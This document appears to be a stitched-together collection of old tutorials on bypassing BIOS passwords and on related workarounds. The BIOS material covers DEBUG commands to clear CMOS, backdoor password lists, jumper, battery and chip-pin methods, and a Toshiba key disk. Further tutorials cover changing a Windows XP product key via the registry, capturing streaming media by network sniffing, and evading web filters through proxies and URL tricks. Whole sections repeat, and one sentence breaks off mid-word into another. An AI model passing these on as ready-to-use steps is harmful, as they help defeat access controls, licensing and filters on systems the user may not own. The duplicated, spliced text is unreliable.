However, it might happen you don't have one of those programs when you have access to the computer, so you'd better learn how to do manually what they do. You can reset the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the command prompt. You'd better do it in pure MS-DOS mode, not from a MS-DOS shell window in Windows). Once you are in the debug environment enter the following commands:
AMI/AWARD BIOS
O 70 17
O 71 17
Q
PHOENIX BIOS
O 70 FF
O 71 17
Q
GENERIC
Invalidates CMOS RAM.
Should work on all AT motherboards
(XT motherboards don't have CMOS)
O 70 2E
O 71 FF
Q
Note that the first letter is a "O" not the number "0". The numbers which follow are two bytes in hex format.
Flashing BIOS via hardware
If you can't access the computer when it's on, and the standard backdoor passwords didn't work, you'll have to flash the BIOS via hardware. Please read the important notes at the end of this section before to try any of these methods.
Using the jumpers
The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper on the motherboard (for "switching a jumper" I mean that you find a jumper that joins the central pin and a side pin of a group of three pins, you should then unplug the jumper and then plug it to the central pin and to the pin on the opposite side, so if the jumper is normally on position 1-2, you have to put it on position 2-3, or vice versa). This jumper is not always located near to the BIOS, but could be anywhere on the motherboard.
To find the correct jumper you should read the motherboard's manual.
Once you've located the correct jumper, switch it (or plug or unplug it, depending from what the manual says) while the computer is turned OFF. Wait a couple of seconds then put the jumper back to its original position. In some motherboards it may happen that the computer will automatically turn itself on, after flashing the BIOS. In this case, turn it off, and put the jumper back to its original position, then turn it on again. Other motherboards require you turn the computer on for a few seconds to flash the BIOS.
If you don't have the motherboard's manual, you'll have to "brute force" it... trying out all the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the BIOS, and the ones you can switch (as I explained before). If all them fail, try all the others. However, you must modify the status of only one jumper per attempt, otherwise you could damage the motherboard (since you don't know what the jumper you modified is actually meant for). If the password request screen still appear, try another one.
If after flashing the BIOS, the computer won't boot when you turn it on, turn it off, and wait some seconds before to retry.
Removing the battery
If you can't find the jumper to flash the BIOS or if such jumper doesn't exist, you can remove the battery that keeps the BIOS memory alive. It's a button-size battery somewhere on the motherboard (on elder computers the battery could be a small, typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side to disconnect it, otherwise you'll have to unsolder it and then solder it back). Take it away for 15-30 minutes or more, then put it back and the data contained into the BIOS memory should be volatilized. I'd suggest you to remove it for about one hour to be sure, because if you put it back when the data aren't erased yet you'll have to wait more time, as you've never removed it. If at first it doesn't work, try to remove the battery overnight.
Important note: in laptop and notebooks you don't have to remove the computer's power batteries (which would be useless), but you should open your computer and remove the CMOS battery from the motherboard.
Short-circuiting the chip
Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the BIOS chip for a few seconds. You can do that with a small piece of electric wire or with a bent paper clip. Always make sure that the computer is turned OFF before to try this operation.
Here is a list of EPROM chips that are commonly used in the BIOS industry. You may find similar chips with different names if they are compatible chips made by another brand. If you find the BIOS chip you are working on matches with one of the following you can try to short-circuit the appropriate pins. Be careful, because this operation may damage the chip.
CHIPS P82C206 (square)
Short together pins 12 and 32 (the first and the last pins on the bottom edge of the chip) or pins 74 and 75 (the two pins on the upper left corner).
gnd
74
|__________________
5v 75--| |
| |
| |
| CHIPS |
1 * | |
| P82C206 |
| |
| |
|___________________|
| |
| gnd | 5v
12 32
OPTi F82C206 (rectangular)
Short together pins 3 and 26 (third pin from left side and fifth pin from right side on the bottom edge).
80 51
|______________|
81 -| |- 50
| |
| |
| OPTi |
| |
| F82C206 |
| |
100-|________________|-31
|| | |
1 || | | 30
3 26
Dallas DS1287, DS1287A
Benchmarq bp3287MT, bq3287AMT
The Dallas DS1287 and DS1287A, and the compatible Benchmarq bp3287MT and bq3287AMT chips have a built-in battery. This battery should last up to ten years. Any motherboard using these chips should not have an additional battery (this means you can't flash the BIOS by removing a battery). When the battery fails, the RTC chip would be replaced.
CMOS RAM can be cleared on the 1287A and 3287AMT chips by shorting pins 12 and 21.
The 1287 (and 3287MT) differ from the 1287A in that the CMOS RAM can't be cleared. If there is a problem such as a forgotten password, the chip must be replaced. (In this case it is recommended to replace the 1287 with a 1287A). Also the Dallas 12887 and 12887A are similar but contain twice as much CMOS RAM storage.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21 RCL (RAM Clear)
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13
NOTE: Although these are 24-pin chips,
the Dallas chips may be missing 5 pins,
these are unused pins.
Most chips have unused pins,
though usually they are still present.
Dallas DS12885S
Benchmarq bq3258S
Hitachi HD146818AP
Samsung KS82C6818A
This is a rectangular 24-pin DIP chip, usually in a socket. The number on the chip should end in 6818.
Although this chip is pin-compatible with the Dallas 1287/1287A, there is no built-in battery.
Short together pins 12 and 24.
5v
24 20 13
|___________|____________________|
| |
| DALLAS |
|> |
| DS12885S |
| |
|__________________________________|
| |
1 12
gnd
Motorola MC146818AP
Short pins 12 and 24. These are the pins on diagonally opposite corners - lower left and upper right. You might also try pins 12 and 20.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13
Replacing the chip
If nothing works, you could replace the existing BIOS chip with a new one you can buy from your specialized electronic shop or your computer supplier. It's a quick operation if the chip is inserted on a base and not soldered to the motherboard, otherwise you'll have to unsolder it and then put the new one. In this case would be more convenient to solder a base on which you'll then plug the new chip, in the eventuality that you'll have to change it again. If you can't find the BIOS chip specifically made for your motherboard, you should buy one of the same type (probably one of the ones shown above) and look in your motherboard manufacturer's website to see if there's the BIOS image to download. Then you should copy that image on the chip you bought with an EPROM programmer.
Important
Whether is the method you use, when you flash the BIOS not only the password, but also all the other configuration data will be reset to the factory defaults, so when you are booting for the first time after a BIOS flash, you should enter the CMOS configuration menu (as explained before) and fix up some things.
Also, when you boot Windows, it may happen that it finds some new device, because of the new configuration of the BIOS, in this case you'll probably need the Windows installation CD because Windows may ask you for some external files. If Windows doesn't see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can't find the CD-ROM drive and you set it properly from the BIOS config, just reboot with the reset key, and in the next run Windows should find it. However most files needed by the system while installing new hardware could also be found in C:WINDOWS, C:WINDOWSSYSTEM, or C:WINDOWSINF .
Key Disk for Toshiba laptops
Some Toshiba notebooks allow to bypass BIOS by inserting a "key-disk" in the floppy disk drive while booting. To create a Toshiba Keydisk, take a 720Kb or 1.44Mb floppy disk, format it (if it's not formatted yet), then use a hex editor such as Hex Workshop (***.bpsoft.com/downloads/index.html) to change the first five bytes of the second sector (the one after the boot sector) and set them to 4B 45 59 00 00 (note that the first three bytes are the ASCII for "KEY" followed by two zeroes). Once you have created the key disk put it into the notebook's drive and turn it on, then push the reset button and when asked for password, press Enter. You will be asked to Set Password again. Press Y and Enter. You'll enter the BIOS configuration where you can set a new password.
Key protected cases
A final note about those old computers (up to 486 and early Pentiums) protected with a key that prevented the use of the mouse and the keyboard or the power button. All you have to do with them is to follow the wires connected to the key hole, locate the jumper to which they are connected and unplug it.
Basic BIOS password crack - works 9.9 times out of ten
This is a password hack but it clears the BIOS such that the next time you start the PC, the CMOS does not ask for any password. Now if you are able to bring the DOS prompt up, then you will be able to change the BIOS setting to the default. To clear the CMOS do the following:
Get DOS prompt and type:
DEBUG hit enter
-o 70 2e hit enter
-o 71 ff hit enter
-q hit enter
exit hit enter
Restart the computer. It works on most versions of the AWARD BIOS.
Accessing information on the hard disk
When you turn on the host machine, enter the CMOS setup menu (usually you have to press F2, or DEL, or CTRL+ALT+S during the boot sequence) and go to STANDARD CMOS SETUP, and set the channel to which you have put the hard disk as TYPE=Auto, MODE=AUTO, then SAVE & EXIT SETUP. Now you have access to the hard disk.
Standard BIOS backdoor passwords
The first, less invasive, attempt to bypass a BIOS password is to try on of these standard manufacturer's backdoor passwords:
AWARD BIOS
AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet, %øåñòü ïpîáåëîâ%, %äåâÿòü ïpîáåëîâ%
AMI BIOS
AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder
Other passwords you may try (for AMI/AWARD or other BIOSes)
LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj
Note that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards (such as Italian and German ones), so -- for example -- you should type AWARD?SW when using those keyboards. Also remember that passwords are Case Sensitive. The last two passwords in the AWARD BIOS list are in Russian.
Flashing BIOS via software
If you have access to the computer when it's turned on, you could try one of those programs that remove the password from the BIOS, by invalidating its memory.
However, it might happen you don't have one of those programs when you have access to the computer, so you'd better learn how to do manually what they do. You can reset the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the command prompt. You'd better do it in pure MS-DOS mode, not from a MS-DOS shell window in Windows). Once you are in the debug environment enter the following commands:
AMI/AWARD BIOS
O 70 17
O 71 17
Q
PHOENIX BIOS
O 70 FF
O 71 17
Q
GENERIC
Invalidates CMOS RAM.
Should work on all AT motherboards
(XT motherboards don't have CMOS)
O 70 2E
O 71 FF
Q
Note that the first letter is a "O" not the number "0". The numbers which follow are two bytes in hex format.
Flashing BIOS via hardware
If you can't access the computer when it's on, and the standard backdoor passwords didn't work, you'll have to flash the BIOS via hardware. Please read the important notes at the end of this section before to try any of these methods.
Using the jumpers
The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper on the motherboard (for "switching a jumper" I mean that you find a jumper that joins the central pin and a side pin of a group of three pins, you should then unplug the jumper and then plug it to the central pin and to the pin on the opposite side, so if the jumper is normally on position 1-2, you have to put it on position 2-3, or vice versa). This jumper is not always located near to the BIOS, but could be anywhere on the motherboard.
To find the correct jumper you should read the motherboard's manual.
Once you've located the correct jumper, switch it (or plug or unplug it, depending from what the manual says) while the computer is turned OFF. Wait a couple of seconds then put the jumper back to its original position. In some motherboards it may happen that the computer will automatically turn itself on, after flashing the BIOS. In this case, turn it off, and put the jumper back to its original position, then turn it on again. Other motherboards require you turn the computer on for a few seconds to flash the BIOS.
If you don't have the motherboard's manual, you'll have to "brute force" it... trying out all the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the BIOS, and the ones you can switch (as I explained before). If all them fail, try all the others. However, you must modify the status of only one jumper per attempt, otherwise you could damage the motherboard (since you don't know what the jumper you modified is actually meant for). If the password request screen still appear, try another one.
If after flashing the BIOS, the computer won't boot when you turn it on, turn it off, and wait some seconds before to retry.
Removing the battery
If you can't find the jumper to flash the BIOS or if such jumper doesn't exist, you can remove the battery that keeps the BIOS memory alive. It's a button-size battery somewhere on the motherboard (on elder computers the battery could be a small, typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side to disconnect it, otherwise you'll have to unsolder it and then solder it back). Take it away for 15-30 minutes or more, then put it back and the data contained into the BIOS memory should be volatilized. I'd suggest you to remove it for about one hour to be sure, because if you put it back when the data aren't erased yet you'll have to wait more time, as you've never removed it. If at first it doesn't work, try to remove the battery overnight.
Important note: in laptop and notebooks you don't have to remove the computer's power batteries (which would be useless), but you should open your computer and remove the CMOS battery from the motherboard.
Short-circuiting the chip
Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the BIOS chip for a few seconds. You can do that with a small piece of electric wire or with a bent paper clip. Always make sure that the computer is turned OFF before to try this operation.
Here is a list of EPROM chips that are commonly used in the BIOS industry. You may find similar chips with different names if they are compatible chips made by another brand. If you find the BIOS chip you are working on matches with one of the following you can try to short-circuit the appropriate pins. Be careful, because this operation may damage the chip.
CHIPS P82C206 (square)
Short together pins 12 and 32 (the first and the last pins on the bottom edge of the chip) or pins 74 and 75 (the two pins on the upper left corner).
gnd
74
|__________________
5v 75--| |
| |
| |
| CHIPS |
1 * | |
| P82C206 |
| |
| |
|___________________|
| |
| gnd | 5v
12 32
OPTi F82C206 (rectangular)
Short together pins 3 and 26 (third pin from left side and fifth pin from right side on the bottom edge).
80 51
|______________|
81 -| |- 50
| |
| |
| OPTi |
| |
| F82C206 |
| |
100-|________________|-31
|| | |
1 || | | 30
3 26
Dallas DS1287, DS1287A
Benchmarq bp3287MT, bq3287AMT
The Dallas DS1287 and DS1287A, and the compatible Benchmarq bp3287MT and bq3287AMT chips have a built-in battery. This battery should last up to ten years. Any motherboard using these chips should not have an additional battery (this means you can't flash the BIOS by removing a battery). When the battery fails, the RTC chip would be replaced.
CMOS RAM can be cleared on the 1287A and 3287AMT chips by shorting pins 12 and 21.
The 1287 (and 3287MT) differ from the 1287A in that the CMOS RAM can't be cleared. If there is a problem such as a forgotten password, the chip must be replaced. (In this case it is recommended to replace the 1287 with a 1287A). Also the Dallas 12887 and 12887A are similar but contain twice as much CMOS RAM storage.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21 RCL (RAM Clear)
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13
NOTE: Although these are 24-pin chips,
the Dallas chips may be missing 5 pins,
these are unused pins.
Most chips have unused pins,
though usually they are still present.
Dallas DS12885S
Benchmarq bq3258S
Hitachi HD146818AP
Samsung KS82C6818A
This is a rectangular 24-pin DIP chip, usually in a socket. The number on the chip should end in 6818.
Although this chip is pin-compatible with the Dallas 1287/1287A, there is no built-in battery.
Short together pins 12 and 24.
5v
24 20 13
|___________|____________________|
| |
| DALLAS |
|> |
| DS12885S |
| |
|__________________________________|
| |
1 12
gnd
Motorola MC146818AP
Short pins 12 and 24. These are the pins on diagonally opposite corners - lower left and upper right. You might also try pins 12 and 20.
__________
1 -| * U |- 24 5v
2 -| |- 23
3 -| |- 22
4 -| |- 21
5 -| |- 20
6 -| |- 19
7 -| |- 18
8 -| |- 17
9 -| |- 16
10 -| |- 15
11 -| |- 14
gnd 12 -|__________|- 13
Replacing the chip
If nothing works, you could replace the existing BIOS chip with a new one you can buy from your specialized electronic shop or your computer supplier. It's a quick operation if the chip is inserted on a base and not soldered to the motherboard, otherwise you'll have to unsolder it and then put the new one. In this case would be more convenient to solder a base on which you'll then plug the new chip, in the eventuality that you'll have to change it again. If you can't find the BIOS chip specifically made for your motherboard, you should buy one of the same type (probably one of the ones shown above) and look in your motherboard manufacturer's website to see if there's the BIOS image to download. Then you should copy that image on the chip you bought with an EPROM programmer.
Important
Whether is the method you use, when you flash the BIOS not only the password, but also all the other configuration data will be reset to the factory defaults, so when you are booting for the first time after a BIOS flash, you should enter the CMOS configuration menu (as explained before) and fix up some things.
Also, when you boot Windows, it may happen that it finds some new device, because of the new configuration of the BIOS, in this case you'll probably need the Windows installation CD because Windows may ask you for some external files. If Windows doesn't see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can't find the CD-ROM drive and you set it properly from the BIOS config, just reboot with the reset key, and in the next run Windows should find it. However most files needed by the system while installing new hardware could also be found in C:WINDOWS, C:WINDOWSSYSTEM, or C:WINDOWSINF .
Key Disk for Toshiba laptops
Some Toshiba notebooks allow to bypass BIOS by inserting a "key-disk" in the floppy disk drive while booting. To create a Toshiba Keydisk, take a 720Kb or 1.44Mb floppy disk, format it (if it's not formatted yet), then use a hex editor such as Hex Workshop (***.bpsoft.com/downloads/index.html) to change the first five bytes of the second sector (the one after the boot sector) and set them to 4B 45 59 00 00 (note that the first three bytes are the ASCII for "KEY" followed by two zeroes). Once you have created the key disk put it into the notebook's drive and turn it on, then push the reset button and when asked for password, press Enter. You will be asked to Set Password again. Press Y and Enter. You'll enter the BIOS configuration where you can set a new password.
Key protected cases
A final note about those old computers (up to 486 and early Pentiums) protected with a key that prevented the use of the mouse and the keyboard or the power button. All you have to do with them is to follow the wires connected to the key hole, locate the jumper to which they are connected and unplug it.
How To Change Thumbnail Size And Quality
If any of you out there like to use the thumbnail view, especially for browsing through photos and images, it can become a bit of a drain on your system. It is possible to lower the thumbnail size and quality by editing the following registry keys.
Open the registry and navigate to :
HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer
Create a new DWORD value called ThumbnailSize, and set the value between 32 and 256.
And/or create another DWORD value called ThumbnailQuality, and set the value between 50 and 100.
Key Details :
USER Key: [HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer]
Value Name: ThumbnailSize
Data Type: REG_DWORD (DWORD Value)
Data Value: 32 - 256
USER Key: [HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer]
Value Name: ThumbnailQuality
Data Type: REG_DWORD (DWORD Value)
Data Value: 50 - 100
Open the registry and navigate to :
HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer
Create a new DWORD value called ThumbnailSize, and set the value between 32 and 256.
And/or create another DWORD value called ThumbnailQuality, and set the value between 50 and 100.
Key Details :
USER Key: [HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer]
Value Name: ThumbnailSize
Data Type: REG_DWORD (DWORD Value)
Data Value: 32 - 256
USER Key: [HKEY_CURRENT_USER\ Software\ Microsoft \ Windows\ CurrentVersion\ Explorer]
Value Name: ThumbnailQuality
Data Type: REG_DWORD (DWORD Value)
Data Value: 50 - 100
How to change the serial number used in Windows XP, Valid for XP Corporate
Step 1
Open Start/Run... and type the command:
regedit and click "OK" (or press ENTER).
Go to HKey_Local_Machine\Software\Microsoft\WindowsNT\Current Version\WPAEvents,
on the right double click on "oobetimer" and change at least one digit of this value to deactivate windows.
Click "OK" and close the Registry Editor.
Step 2
Open Start/Run... and type the command:
%systemroot%\system32\oobe\msoobe.exe /a and click "OK" (or press ENTER).
This will bring up the "Activate Windows" window.
Check the option for "Yes, I want to telephone a customer service representative to activate Windows" and click "Next"
Step 3
Then click "Change Product Key" (don't enter any information on that screen)
Step 4
Type in the new key and click "Update"
The activate Windows by phone window will reappear at this point, just close it by clicking the X in the upper right hand corner
Step 5
Reboot your system and Open Start/Run... and type the command:
%systemroot%\system32\oobe\msoobe.exe /a and click "OK" (or press ENTER).
If you see "Windows is already activated" then everything is OK.
Open Start/Run... and type the command:
regedit and click "OK" (or press ENTER).
Go to HKey_Local_Machine\Software\Microsoft\WindowsNT\Current Version\WPAEvents,
on the right double click on "oobetimer" and change at least one digit of this value to deactivate windows.
Click "OK" and close the Registry Editor.
Step 2
Open Start/Run... and type the command:
%systemroot%\system32\oobe\msoobe.exe /a and click "OK" (or press ENTER).
This will bring up the "Activate Windows" window.
Check the option for "Yes, I want to telephone a customer service representative to activate Windows" and click "Next"
Step 3
Then click "Change Product Key" (don't enter any information on that screen)
Step 4
Type in the new key and click "Update"
The activate Windows by phone window will reappear at this point, just close it by clicking the X in the upper right hand corner
Step 5
Reboot your system and Open Start/Run... and type the command:
%systemroot%\system32\oobe\msoobe.exe /a and click "OK" (or press ENTER).
If you see "Windows is already activated" then everything is OK.
How To Change A Cmos Battery
First the safety rules
The inside of a computer is a bad place full of electricity and sharp edges.
On the electricity side always when working on you computer make sure that it’s still plugged in to the power socket and the power is turned off, this is to ensure that any static
From you is discharged through the earth. The inside of most computer cases are unfinished metal and has very sharp edges so be careful.
The first signs of a battery failing are:-
1) your clock starts running slowly
2) when you boot (start) your computer it has a problem finding your hardware (no hard drive, no cd rom)
To change the battery you need the following tools
1) a X-point screwdriver
2) an anti-static strap(optional)
3) a new battery (seems logical)
Then unplug all the cables from the back of the computer as you remove them make a note where they came from. (So when you finished you can put them back)
Move the computer somewhere where you can work on it with ease
Remove the cover by locating the screws around the outer edge (back) of the computer
Some computer cases only require you to remove 2 screws on one side then a panel can be removed allowing you access to the computers insides, others you must remove 6 screws and remove the whole case by sliding it to the rear and lifting it off.
Now make sure that you read the safety instructions about static.
Look inside you will see a round silver thing that looks about the size of a 10p piece (quarter). This is the battery itself, carefully lift the retaining clip and slide the battery out. That’s it removed now go to your local computer retailer, electrical retailer (Tandy/Radio shack) taking the old battery with you and get a new battery.
Back to your computer insert the new battery by lifting the clip and sliding the battery in.
Reinstall your case and plug all the cables back (you did remember to label them didn’t you)
Now for the fun part.
You will now need to go into you bios….
Right the bios is the god of your computer.
To access it, when your computer first starts you will see a black screen with white text.
If you look carefully you will see a line that says something like "press del for setup" or some other key (F2 or ESC or tab) this will take you to god's house where you can make lots of changes to the way your machine works.
It is also the place where you can make your nice computer in to a rather expensive door stop so be careful and don’t go playing with anything.
You will now be presented with a blue screen with a lot of options on it,
The one we want is load optimised/default settings.
Press the F10 key and type y the computer should now reboot.
If every thing went well then your computer will now be up and running.
Shizers way: Keep computer running. Lay it on it's side and remove side cover to expose MoBo. Take any thin object, "small screwdriver, knife point, wood shiskabob skewer. Pull back the battery retaining clip. Toss the old battery in the junk recepticle, unless you belong to greenpeace and want to save the earth. Install the new battery. No need to reset bios becasue the compter supplies voltage to the cmos while it is running. Reset or resync clock with internet. Done!
The inside of a computer is a bad place full of electricity and sharp edges.
On the electricity side always when working on you computer make sure that it’s still plugged in to the power socket and the power is turned off, this is to ensure that any static
From you is discharged through the earth. The inside of most computer cases are unfinished metal and has very sharp edges so be careful.
The first signs of a battery failing are:-
1) your clock starts running slowly
2) when you boot (start) your computer it has a problem finding your hardware (no hard drive, no cd rom)
To change the battery you need the following tools
1) a X-point screwdriver
2) an anti-static strap(optional)
3) a new battery (seems logical)
Then unplug all the cables from the back of the computer as you remove them make a note where they came from. (So when you finished you can put them back)
Move the computer somewhere where you can work on it with ease
Remove the cover by locating the screws around the outer edge (back) of the computer
Some computer cases only require you to remove 2 screws on one side then a panel can be removed allowing you access to the computers insides, others you must remove 6 screws and remove the whole case by sliding it to the rear and lifting it off.
Now make sure that you read the safety instructions about static.
Look inside you will see a round silver thing that looks about the size of a 10p piece (quarter). This is the battery itself, carefully lift the retaining clip and slide the battery out. That’s it removed now go to your local computer retailer, electrical retailer (Tandy/Radio shack) taking the old battery with you and get a new battery.
Back to your computer insert the new battery by lifting the clip and sliding the battery in.
Reinstall your case and plug all the cables back (you did remember to label them didn’t you)
Now for the fun part.
You will now need to go into you bios….
Right the bios is the god of your computer.
To access it, when your computer first starts you will see a black screen with white text.
If you look carefully you will see a line that says something like "press del for setup" or some other key (F2 or ESC or tab) this will take you to god's house where you can make lots of changes to the way your machine works.
It is also the place where you can make your nice computer in to a rather expensive door stop so be careful and don’t go playing with anything.
You will now be presented with a blue screen with a lot of options on it,
The one we want is load optimised/default settings.
Press the F10 key and type y the computer should now reboot.
If every thing went well then your computer will now be up and running.
Shizers way: Keep computer running. Lay it on it's side and remove side cover to expose MoBo. Take any thin object, "small screwdriver, knife point, wood shiskabob skewer. Pull back the battery retaining clip. Toss the old battery in the junk recepticle, unless you belong to greenpeace and want to save the earth. Install the new battery. No need to reset bios becasue the compter supplies voltage to the cmos while it is running. Reset or resync clock with internet. Done!
HOW TO CAPTURE STREAMING MEDIA
HOW TO CAPTURE STREAMING MEDIA
many websites (http://ww.smashits.com) stream songs and videos
people believe they cannot be downloaded, quite why i dont know. they kinda think there is no file present to dwnld
once the file is located it can then be retrieved by nettransport
nettransport is able to dwnld any file whether ftp or rtsp etc
1. Download Project URL Snooper 1.02.01 from http://rain66.at.infoseek.co.jp/
2. Install URL Snooper (and WinPcap together)
3. Don't run URL Snooper when it is done installing
4. Restart computer
5. Open Project URL Snooper
6. Click on the General Options Tab
7. user posted image
8. Chose a network adapter
9. Now click on the search tab
10. Click Sniff Network
11. Go to a webpage and you should see some results in the results list
12. If nothing is appearing then chose another network adapter, until one works
13. Now you are ready to begin searching
14. Click the "Hide Non-Streaming URLs" option to hide all http:// references and only show URLs corresponding to streaming audio/video (rtsp, pnm, wma, etc.)
15. Then click Sniff Network
16. Your links should appear as you begin streaming your file
17. Select your desired stream user posted image
18. usually rm file user posted image
19. On the bottom there should be the link which you simply copy user posted image
20. Download nettransport from here ftp://down_transport:123@s1.5fox.com/NT2Setup_multi.EXE or
ftp://nettransport:nettransport@61.153.24...Setup_multi.EXE
http://lycos26486.l97.lycos.com.cn/download.htm
21. Install it
22. Click on new
23. Paste link
now you should be able to download any file
if u need ne help
jus ask
i think dialups may have problems
many websites (http://ww.smashits.com) stream songs and videos
people believe they cannot be downloaded, quite why i dont know. they kinda think there is no file present to dwnld
once the file is located it can then be retrieved by nettransport
nettransport is able to dwnld any file whether ftp or rtsp etc
1. Download Project URL Snooper 1.02.01 from http://rain66.at.infoseek.co.jp/
2. Install URL Snooper (and WinPcap together)
3. Don't run URL Snooper when it is done installing
4. Restart computer
5. Open Project URL Snooper
6. Click on the General Options Tab
7. user posted image
8. Chose a network adapter
9. Now click on the search tab
10. Click Sniff Network
11. Go to a webpage and you should see some results in the results list
12. If nothing is appearing then chose another network adapter, until one works
13. Now you are ready to begin searching
14. Click the "Hide Non-Streaming URLs" option to hide all http:// references and only show URLs corresponding to streaming audio/video (rtsp, pnm, wma, etc.)
15. Then click Sniff Network
16. Your links should appear as you begin streaming your file
17. Select your desired stream user posted image
18. usually rm file user posted image
19. On the bottom there should be the link which you simply copy user posted image
20. Download nettransport from here ftp://down_transport:123@s1.5fox.com/NT2Setup_multi.EXE or
ftp://nettransport:nettransport@61.153.24...Setup_multi.EXE
http://lycos26486.l97.lycos.com.cn/download.htm
21. Install it
22. Click on new
23. Paste link
now you should be able to download any file
if u need ne help
jus ask
i think dialups may have problems
How To Bypass Web Filters, tutorial
How to bypass web filters
There are several occasions where you will be at a public te How to bypass web filters
rminal, and require access to a particular website that is blocked for some reason or another. How to bypass these restrictions is a very common question, and will be covered here.
Lets pretend for a moment that the Internet is made up of 26 websites, A-Z. The web filter blocks your browser from accessing sites X-Z, but not sites A-W. Simply make the browser think you’re going to A-
W. There are a variety of ways to do this:
Proxy Servers:
This is a list of http proxies. These sites may not be up forever, so you may need to search for “free http proxy” or “public proxy servers” or other similar terms.
Proxy server lists:
• http://www.aliveproxy.com
• http://www.multiproxy.org
• http://www.publicproxyservers.com/index.html
• http://www.tehbox.com/proxy
• http://www.proxz.com
• http://www.proxy4free.com/index.html
• http://free-proxies.com
Now that you have a list of proxies, you would open IE (internet explorer) and click on Tools > Internet Options > Connections > LAN Settings > Advanced. Enter the address and port of one of the servers from the list in the proper area (http) and make sure the “use a proxy server for your LAN” option is selected. Remember to replace the proxy and port at your terminal to the original when you're done.
*Note: Some proxies listed may not work, and this method may decrease your surfing speed. By trying various entries, you’ll find one that works, or works faster.
The infamous translation trick:
Go to a web page translation site and use their services to “translate a page to English” thus accessing the blocked page through their trusted site.
You’ll notice that several translation sites are blocked, but by using less popular ones, this method can still be effective. Here is a list of some translation services. Again, these sites may not be up forever, so you may need to search for them.
• http://babelfish.altavista.com
• http://world.altavista.com
• http://translation.langenberg.com
• http://freetranslation.com/web.thm
Url Scripting:
Url scripting is the easiest method. It works on a select few web filters and is based on the same principal as the translation trick. By typing and address like “www.yahoo.com@www.restricted_site.com the filter will not go into effect as it recognizes the trusted site (in this case yahoo.com)
Other tricks:
Simply open the command prompt and type:
Ping restricted.com ? restricted.com obviously being the restricted site
At this point you can take down the IP address (ex. 216.109.124.73) and enter it into the browser. If access to the command prompt is also restricted, see “How to bypass restrictions to get to the command prompt.” If this article has been taken from information leak, then know that it involves anything from opening the browser, selecting view > source, then saving it as X.bat and opening it to opening a folder or browser and typing in the location of cmd.exe depending on the OS. I will not go into further, as this a completely different topic.
Use https://restrictedsite.com as referring to it as a secured site may confuse the filter.
Note: These are ancient methods that many new filters defend against, but still may be applicable in your situation. If not, a little history never hurt anyone.
Web based Proxies:
Another one of the easier, yet effective methods include web based proxies. These are simple in the fact that you just enter the restricted address and surf! Some of these have some restrictions, like daily usage limits, etc but you can also use another proxy (perhaps one that sucks, like a text only) to bypass their restrictions as well. Here is a list of some:
• http://proxify.com]http://proxify.com
• http://www.anonymizer.com/index.cgi]http://www.anonymizer.com/index.cgi
• http://www.guardster.com/]http://www.guardster.com/
• http://anonymouse.ws/anonwww.html]http://anonymouse.ws/anonwww.html
• http://www.the-cloak.com/login.html]http://www.the-cloak.com/login.html
• https://www.megaproxy.com/freesurf]https://www.megaproxy.com/freesurf
• http://www.anonymizer.ru]http://www.anonymizer.ru
• https://nadaily.com/cgi-bin/nph-proxyb.cgi]https://nadaily.com/cgi-bin/nph-proxyb.cgi
• http://www.userbeam.de/cgi-bin/nph-userbeam.cgi]http://www.userbeam.de/cgi-bin/nph-userbeam.cgi
• http://www.free2.surffreedom.com/nph-free.cgi]http://www.free2.surffreedom.com/nph-free.cgi
Proxy Programs:
There are many proxy programs that allow you to surf anonymously that are more or less based on the same topics we’ve covered here. I’ve added them just to cover the topic thoroughly:
• http://www.hotscripts.com/Detailed/28480.html]http://www.hotscripts.com/Detailed/28480.html
• http://www.inetprivacy.com/a4proxy/anonymous-grc.htm]http://www.inetprivacy.com/a4proxy/anonymous-grc.htm
• http://www.orangatango.com/home/index.ie.html]http://www.orangatango.com/home/index.ie.html
• http://www.steganos.com]http://www.steganos.com
• http://www.anonymization.net]http://www.anonymization.net ? toolbar that requires admin rights to install
Making your own CGI proxy server:
Making your own proxy server may come in handy, but I personally find that simply uploading a txt file/w a list of proxies to a free host makes for a much easier and headache free solution. If you don’t know PERL, there is code out there to help you set it up. Check out these sites for more info:
• http://httpbridge.sourceforge.net]http://httpbridge.sourceforge.net
• http://www.jmarshall.com/tools/cgiproxy]http://www.jmarshall.com/tools/cgiproxy
• http://www.manageability.org/blog/stuff/open-source-personal-proxy-servers-written-in-java/view]http://www.manageability.org/blog/stuff/op...en-in-java/view
